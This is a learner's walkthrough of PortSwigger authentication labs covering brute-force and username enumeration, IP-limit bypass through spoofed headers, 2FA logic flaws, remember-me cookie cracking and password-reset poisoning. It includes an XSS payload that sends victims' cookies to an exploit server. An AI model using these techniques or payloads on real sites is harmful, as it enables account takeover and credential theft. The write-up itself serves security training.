Authentication module - Web Security Academy - PortSwigger
Brief introduction
Authentication is the process of verifying a user. There are 3 main types of authentication:
Something you know: password, security question, … (for example: login functionality in websites)
Something you have: physical objects like mobile phone or security token. (for example: authenticator apps)
Something you are or do: biometrics, behaviour, …
Authentication and authorization are different: Authentication is the process of verifying that a user is who they claim to be, when Authorization involves verifying whether a user is allowed to do something.
Vulnerabilities in password-based login
Brute-force attacks
A brute-force attack is when an attacker uses a system of trial and error to guess the credential. Maybe this type of attacking can be based on status code (200 and others code), error messages (wrong password, …) and response times.
Lab: Username enumeration via different responses: This lab is vulnerable to username enumeration and password brute-force attacks. It has an account with a predictable username and password, which can be found in the following wordlists: candidate username, candidate password. To solve the lab, enumerate a valid username, brute-force this user’s password, then access their account page.
Login with a random credential, then send the POST request to Intruder. Change the attack type to “Cluster bomb”, which allows us to set different payload for different position. Then, we use the given username and password list to make a brute-force attack.
After finishing the brute-force attack, we achieve the credential base on the status code and the length of the response. When there’s a successful login attempt, the website will redirect the user to home page, so the status code is 302
. Moreover, the content length will be smaller, because when login failed, there’s a message: “Invalid username or password”.
Credential: athena:harley
.
Lab: Username enumeration via subtly different responses: This lab is subtly vulnerable to username enumeration and password brute-force attacks. It has an account with a predictable username and password, which can be found in the following wordlists: Candidate usernames, Candidate passwords. To solve the lab, enumerate a valid username, brute-force this user’s password, then access their account page.
The same as the previous lab, the credential: username=accounts&password=qwerty
.
Lab: Username enumeration via response timing: This lab is vulnerable to username enumeration using its response times. To solve the lab, enumerate a valid username, brute-force this user’s password, then access their account page. Your credentials: wiener:peter
, Candidate usernames, Candidate passwords.
First, try the same approache like previous labs. But this time, there’s a hidden mechanism that is used to prevent brute-force attack. When login failed for 3 times, we have to wait for 30 minutes.
Hint from description: To add to the challenge, the lab also implements a form of IP-based brute-force protection. However, this can be easily bypassed by manipulating HTTP request headers.
In this case, we can use the X-Forwarded-For
header to spoof our IP address. The idea is with each username in payload, we use a different value in X-Forwared-For
field.
In Burp Intruder, this type of attack is supported, it’s called “Pitchfork attack”.
In this case, we are only able to make a brute-force attack on only one field in {username, password} at one time. First, let’s find out a valid username. We can use a trick: set a long random password, if the username is valid, the application will continue to check the password, so the processing time of this request will be more longer than others.
The intruder attack reveals that there’s a valid username called apps
. Now, let’s make the second attack to find out the password of this username.
Okay, the password for username apps
is 7777777
. Let’s login with this credential, notice that if the current IP is limited in login, turn on intercept and add the X-Forwarded-For
header to the POST request.
Flawed brute-force protection
It is likely that a brute-force attack will involve many failed attempts before successfully find out the correct credential. So, there will be some ways to prevent the system from brute-force attacks, including blocking the IP address from login functionality after some failed guesses. In some implementations, the counter for the number of failed attempts resets if the IP owner logs in successfully. In this case, including own login credentials between payload to trigger the counter to reset.
Lab: Broken brute-force protection, IP block: This lab is vulnerable due to a logic flaw in its password brute-force protection. To solve the lab, brute-force the victim’s password, then log in and access their account page. Your credentials: wiener:peter
, victim’s username: carlos
, candidate passwords.
After a few trials, we know that after 3 consecutive failed attempts, we have to wait for 1 minute. Maybe our IP address is blocked right now. Then, follow the discussed method above, we can try logging in with a valid credential (wiener:peter
) after TWO consecutive failed attempts, in order to trigger the counter to reset.
You can write script or use LLMs to create two custom payloads, one for usernames and one for passwords. The username list contains 150 usernames, with 2 carlos
and 1 wiener
, loop for 50 times. The password list catch from the candidate passwords of Burp, then adding 1 peter
after 2 passwords in the initial list.
The credential: carlos:qazwsx
. Log in and the lab is solved!
Account locking: One way in which websites try to prevent brute-forcing is to lock the account if certain suspicious criteria are met, involving failed login attempts. In this case, responses from server indicate that an account is locked can also help an attacker to ennumerate usernames.
Lab: Username enumeration via account lock: This lab is vulnerable to username enumeration. It uses account locking, but this contains a logic flaw. To solve the lab, enumerate a valid username, brute-force this user’s password, then access their account page.
Keep updating (In the time I write this solution, the lab is not proper with the description (?), because I only need to make a basic brute-force attack with 2 payloads to solve it).
But, locking an account is not really a efficient approach. For example, the maximum guesses is 3, so the hacker can create a list of 3 popular passwords. In this case, we only need 1 user to use 1 of 3 passwords in order to access the account. Account locking mechanism also fails to protect against credential stuffing attacks. This involves using a massive dictionary of credentials (username:password
) pairs, which is stolen from data leak on Internet. In this case, account locking mechanism is really unactive, because each account is only being attempted once.
User rate limiting: Another way webstites try to prevent brute-force attacks is through user rate limiting. In this case, making too many failed login attempts within a short period of time causes your IP address to be blocked. Typically, the IP can only be unblocked in one of the following ways: Waiting for a certain period of time, manually unlocked by administrator, completing a CAPTCHA.
Lab: Broken brute-force protection, multiple credentials per request: This lab is vulnerable due to a logic flaw in its brute-force protection. To solve the lab, brute-force Carlos’s password, then access his account page. Victim’s username: carlos
.
In this lab, the credential sent with login request is in JSON format. In this case, we can supply a single password parameter that contains all passwords as a list.
1
2
3
4
5
6
7
8
"username" : "carlos",
"password" : [
"123456",
"password",
"12345678",
"qwerty",
// ... (from candidate passwords)
]
Modify the request, resend it and the lab is solved.
Vulnerabilities in multi-factor authentication
Multi-factor authentication (most commonly two factors) is certainly more secure than single-factor authentication (password-based). Because verifying biometrics factors is impractical for most websites, they often use a temporary verification code from an out-of-band device in the user’s possession instead.
Two-factor authentication tokens
Normally, verification code is read by the user from a physical device. Some high-security websites use a dedicated device like RSA token or keypad device for this purpose. It is also common for websites to use a dedicated mobile app, such as Google Authenticator or Microsoft Authenticator. On the other hand, some websites use a different method, sending verification code to the user’s mobile phone via SMS.
In some cases, a user is first prompted to enter a password, then prompted to enter a verification code on a separate page. In such cases, the user might be considered “logged in” state even before entering the verification code. Therefore, users can check whether they are able to access the home page directly without entering the code, in case the website doesn’t properly enforce verification of this step.
Lab: 2FA simple bypass: This lab’s two-factor authentication can be bypassed. You have already obtained a valid username and password, but do not have access to the user’s 2FA verification code. To solve the lab, access Carlos’s account page. Your credential: wiener:peter
, victim’s credentials: carlos:montoya
.
Applying the trick discussed above, we first login using the credentials we fully possess: wiener:peter
. After entering the MFA code received via email, the website redirects us to the path /my-account?id=wiener
. Next, we log out and then log in again using the victim’s credential. However, in this case, we don’t have access to carlos
’s email to complete the MFA code. Still, after submitting the username and password, the website may consider us logged in. At this point, we try changing the URL to /my-account?id=carlos
, and we are able to successfully access the victim’s account.
Flawed two-factor verification logic
Sometimes, flawed logic in two-factor authentication means that after a user has completed the initial login step, the website doesn’t adequately verify that the same user is completing the second step.
For example, the user logs in with their normal credential in the first steps as follows:
POST /login-steps/first HTTP/1.1
Host: vulnerable-website.com
...
username=wiener&password=peter
They are then assigned a cookie that relates to their account, before being taken to the second step of the login process:
HTTP/1.1 200 OK
Set-Cookie: account=wiener
GET /login-steps/second HTTP/1.1
Cookie: account=wiener
When submitting the verification code, the request uses this cookie to determine which account the user is trying to access:
POST /login-steps/second HTTP/1.1
Host: vulnerable-website
Cookie: account=wiener
...
verification-code=123
In this case, an attacker could log in using their own credentials but then change the value of the account
cookie to any arbitrary username when submitting the verification code.
POST /login-steps/second HTTP/1.1
Host: vulnerable-website
Cookie: account=victim-user
...
verification-code=123
After that, the attacker can start a brute-force attack to find the correct verification code. Then, they successfully log in to the victim’s account without needing the password.
Lab: 2FA broken logic: This lab’s two-factor authentication is vulnerable due to its flawed logic. To solve the lab, access Carlos’s account page. Your credentials: wiener:peter
. Victim’s username: carlos
. You also have access to the email server to receive your 2FA verification code. Hint: Carlos will not attempt to log in to the website himself.
This is the response of the GET request to login:
HTTP/2 302 Found
Location: /login2
Set-Cookie: verify=wiener; HttpOnly
Set-Cookie: session=7YwZfRPKMFKSmTmeuUfo5kpbWwZGupnV; Secure; HttpOnly; SameSite=None
X-Frame-Options: SAMEORIGIN
Content-Length: 0
There is a Set-Cookie
header with the verify
parameter is set to wiener
, which indicates that the user wiener
is trying to login.
POST /login2 HTTP/2
Host: 0a2c004403de40548233330a00ae00dc.web-security-academy.net
Cookie: verify=wiener; session=7YwZfRPKMFKSmTmeuUfo5kpbWwZGupnV
Content-Length: 13
Cache-Control: max-age=0
Sec-Ch-Ua: "Chromium";v="133", "Not(A:Brand";v="99"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "Windows"
Accept-Language: en-US,en;q=0.9
Origin: https://0a2c004403de40548233330a00ae00dc.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: https://0a2c004403de40548233330a00ae00dc.web-security-academy.net/login2
Accept-Encoding: gzip, deflate, br
Priority: u=0, i
mfa-code=0706
Then, in the POST request to send the mfa-code
, the Cookie
header contains verify=wiener
. We have to change the value of verify
to the victim’s username, which is carlos
, and start a brute-force attack to find the correct mfa-code
(a 4-digit string from 0000 to 9999).
The attack result indicates that the correct mfa-code
is 1877
. Submitting this value and we successfully log in to the account carlos
.
Brute-forcing 2FA verification codes
Some websites attempt to prevent brute-forcing 2FA verification codes by automatically logging a user out if they enter a certain number of incorrect verification codes. This is ineffective in practice because an advanced attacker can even automate this multi-step process by creating macros for Burp Intruder. The Turbo Intruder extension can also be used for this purpose.
Lab: 2FA bypass using a brute-force attack: This lab’s two-factor authentication is vulnerable to brute-forcing. You have already obtained a valid username and password, but do not have access to the user’s 2FA verification code. To solve the lab, brute-force the 2FA code and access Carlos’s account page. Victim’s credentials: carlos:montoya
. Note: As the verification code will reset while you’re running your attack, you may need to repeat this attack several times before you succeed. This is because the new code may be a number that your current Intruder attack has already attempted. Hint: You will need to use Burp macros in conjunction with Burp Intruder to solve this lab. For more information about macros, please refer to the Burp Suite documentation. Users proficient in Python might prefer to use the Turbo Intruder extension, which is available from the BApp store.
After two consecutive failed attempts to enter the security code, the website requires us to log in again. In this case, we can use a functionality called Macros in Burp to automatically log in again after each POST request for enter the security code.
The highlighted requests represent the steps needed to create a macro. These requests automatically log in as carlos
and navigate to the 2FA code entry page.
In the URL scope section, change the setting to “Include all URLs” to ensure the macro is applied to all relevant URLs.
Also, note that when testing macros, the CSRF token changes after each login attempt. Therefore, we should set the maximum concurrent requests in the Resource pool to 1, to prevent CSRF token mismatches.
After brute-forcing, we find the correct 2FA code and the session cookie. Use “Show response in browser” to solve the lab.
Vulnerabilities in other authentication mechanisms
In addition to the basic login functionality, most websites provide other password-based mechanisms to allow users to manage their accounts. For example, users can change their password or reset it when they forget the old one.
Keeping users logged in
A common feature on websites is the option to stay logged in after closing a browser session. This is usually implemented as a simple check box labelled something like “Remember me”.
This website often relies on a mechanism called a “remember me token”, which is saved as a persistent browser cookie. If the token format is easy to guess, such as username + timestamp
or password
, an attacker can analyze how the token is generated using their own account, then attempt to create or guess tokens for other accounts.
Even if the token is encrypted or encoded, there may be ways to decrypt or decode it, especially if weak methods like Base64 or unsalted hashes are used.
Moreover, if the system does not limit the number of token or cookie guess attempts, an attacker can still launch a brute-force attack to find a valid token or cookie and gain unauthorized access.
Lab: Brute-forcing a stay-logged-in cookie: This lab allows users to stay logged in even after they close their browser session. The cookie used to provide this functionality is vulnerable to brute-forcing. To solve the lab, brute-force Carlos’s cookie to gain access to his My account page. Your credentials: wiener:peter
. Victim’s username: carlos
.
Log in using the credentials wiener:peter
and select the “stay-logged-in” option. A cookie named stay-logged-in
is then set with the value d2llbmVyOjUxZGMzMGRkYzQ3M2Q0M2E2MDExZTllYmJhNmNhNzcw
. Decoding base64, it becomes: wiener:51dc30ddc473d43a6011e9ebba6ca770
. The second part: 51dc30ddc473d43a6011e9ebba6ca770
is an MD5 hash (The above comments can be inferred from any tools for hash cracker or cipher identifier). Using any online MD5 decrypting tools, we find that it corresponds to peter
Therefore, the format of stay-logged-in
cookie is username+password, the password is hash by MD5 and the entire string is decoded by base64.
Now, we only need to launch a brute-force attack to find the correct cookie. Set up the payload processing as shown below:
Start attack and inspect the successful request, the lab is completely solved!
Even if the attacker cannot create or own an account, they may still be able to exploit this vulnerability using several techniques, such as XSS. In this way, they can steal the “remember me” cookie and analyze how it is constructed. Even if the “remember me” cookie is generated based on the password and then the entire string is hashed, there are still ways to crack the hash. This is because, if the password is in a list of popular passwords used on the Internet, its hash may have already been found and cracked.
Lab: Offline password cracking: This lab stores the user’s password hash in a cookie. The lab also contains an XSS vulnerability in the comment functionality. To solve the lab, obtain Carlos’s stay-logged-in
cookie and use it to crack his password. Then, log in as carlos
and delete his account from the “My account” page. Your credentials: wiener:peter
. Victim’s username: carlos
.
There is a exploit server provided in this lab. Analyze the request and cookie, the value of “remember me” cookie is constructed the same as the previous lab: base64(username:md5(password))
. In the comment section of any posts, test the payload: <script>alert()</script>
, we can obtain that this comment box is vulnerable to cross-site scripting. Now, try to send a request to our exploit server to steal the cookie (document.cookie
). Using this simple payload: <script>document.location="https://exploit-0a300036038cd24b8244ffc7017f0051.exploit-server.net/"+document.cookie</script>
(The URL in this payload respective to my exploit server).
We can see the “remember me” cookie of carlos
in the access log. Decrypting the string 26323c16d5f4dabff3bb136f2460a943
by any tools you know, we receive the password:
Full credential: carlos:onceuponatime
. Then, log in and delete this account to complete the lab.
Resetting user passwords
The password reset functionality is potentially dangerous and needs to be implemented securely. There are several common ways this feature is implemented.
Sending passwords by email: Some websites generate a new password and send it to the user via email. In such cases, the new password must be expired after a short period of time or require the users to change their password immediately. Otherwise, this approach is highly susceptible to man-in-the-middle attacks. Email is also generally not considered a secure channel because it was not initially designed for storing sensitive information. Many users also automatically sync their inboxes across multiple devices.
Resetting passwords using a URL: A more secure method is to send a unique URL to users that takes them to a password reset page. Less secure implementations use a URL with an easily guessable parameter to identify which account is being reset, for example: http://vulnerable-website.com/reset-password?user=victim-user
.
In this case, an attacker could change the user
parameter to refer to any valid username. Then, they could change the password of this account and access to it. A better approach is to generate a hard-to-guess token and create a URL based on that. In this case, the URL should provide no hints about which user’s password is being reset. For example: http://vulnerable-website.com/reset-password?token=a0ba0d1cb3b63d13822572fcff1a241895d893f659164d4cc550b421ebdd48a8
.
When a user accesses this URL, the system should verify whether this token is valid, and which user it represents. The token should expire after a short period of time and become invalid immediately after the password is successfully reset.
However, some websites do not check the token again when the reset form is submitted. In this case, an attacker could simply visit the reset form from their own account, change the token or related parameter (especially username
) to reset password of an arbitrary user.
Lab: Password reset broken logic: This lab’s password reset functionality is vulnerable. To solve the lab, reset Carlos’s password then log in and access his “My account” page. Your credentials: wiener:peter
. Victim’s username: carlos
.
In this lab, we have access to the email inbox of user wiener
. When we submit the email address to reset the password, the website sends us a link containing a token for wiener
: https://0a5c00f504b16ad281f08f4500890059.web-security-academy.net/forgot-password?temp-forgot-password-token=s0gulfj9q2nben79vwzpjp4u74ez6qwo
.
The following is the POST request for changing the password of a user (in this case it is wiener
). When we try changing the token in the URL, the website reports that the token is invalid. However, in this scenario, the system may ignore the token validation step when the form is submitted (as described above). Therefore, we only need to access the forgot password page from our own account to bypass the URL token checking mechanism. Then, in the POST request, we change the username
field to carlos
, and resend it in order to change the password.
If the URL in the reset email is generated dynamically, this may also be vulnerable to password reset poisoning. In this case, an attacker can potentially steal another user’s token and use it change their password.
Lab: Password reset poisoning via middleware: This lab is vulnerable to password reset poisoning. The user carlos
will carelessly click on any links in emails that he receives. To solve the lab, log in to Carlos’s account. You can log in to your own account using the following credentials: wiener:peter
. Any emails sent to this account can be read via the email client on the exploit server.
In this lab, we have access to the exploit server, including both the access log and email client functionality. The “forgot password” feature is implemented using a token, similar to the previous lab. Our goal is to obtain the valid token for the user carlos
by leveraging our exploit server.
In this case, we can use the X-Forwarded-Host
HTTP header. This header is used to indicate the original host to which the client’s request is directed. We can set this header to our exploit server host: wiener@exploit-0aaf007603d8d4e2818f24fb01df00e7.exploit-server.net
and set the username to carlos
. As a result, the system will send a request to our server containing the valid token needed to change the password of carlos
.
X-Forwarded-Host: wiener@exploit-0aaf007603d8d4e2818f24fb01df00e7.exploit-server.net
username=carlos
10.0.3.212 2025-08-11 09:26:32 +0000 "GET /forgot-password?temp-forgot-password-token=3lidjr59f2w718uul08xbypk7sb5tte1 HTTP/1.1" 404 "user-agent: Mozilla/5.0 (Victim) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36"
In the access log, we can see a response from server, including a valid path to change the password of carlos
: /forgot-password?temp-forgot-password-token=3lidjr59f2w718uul08xbypk7sb5tte1
.
By visiting this URL, changing the password and logging in as carlos
, we can solve the lab.
Changing user passwords
Typically, changing a user’s password involves entering current password once and new password twice. These pages fundamentally rely on the same process for checking that usernames and current passwords match as a normal log in process. Therefore, this page can be vulnerable to the same techniques.
Password change functionality can be particularly dangerous if it allows an attacker to access it directly without being logged in as the victim user. For example, if the username is provided in a hidden field, the attacker might be able to edit this value in a request and change the password of an arbitrary user. This can potentially be exploited to enumerate usernames and brute-force passwords.
Lab: Password brute-force via password change: This lab’s password change functionality makes it vulnerable to brute-force attacks. To solve the lab, use the list of candidate passwords to brute-force Carlos’s account and access his “My account” page. Your credentials: wiener:peter
. Victim’s username: carlos
.
In this lab, we will experiment with a functionality called “Change password”. This feature requires us to enter the current password, a new password and a confirmation of the new password. In the POST request used to change the password, there is a hidden parameter named username
: username=wiener¤t-password=peter&new-password-1=nam&new-password-2=nam
.
By testing different input cases, we observe the following behaviours:
Correct current password + two different new passwords → The system displays the message: “New passwords do not match”.
Wrong current password + valid matching new passwords → The account is logged out.
Wrong current password + two different new passwords → The system displays: “Current password is incorrect”.
From this, we can base on the message displayed to identify the correct password. We should avoid the second case, as it causes logged out. We need to modify the request as follows: username=carlos¤t-password=$$&new-password-1=nam&new-password-2=nam2
. The username
is set to carlos
, the current-password
is the value we need to find out. The two new password fields must be different to avoid being logged out. The request contains the correct password will cause the system to respond with the message “New passwords do not match”.
The password for carlos
is qwertyuiop
. Log in with these credentials to complete the lab.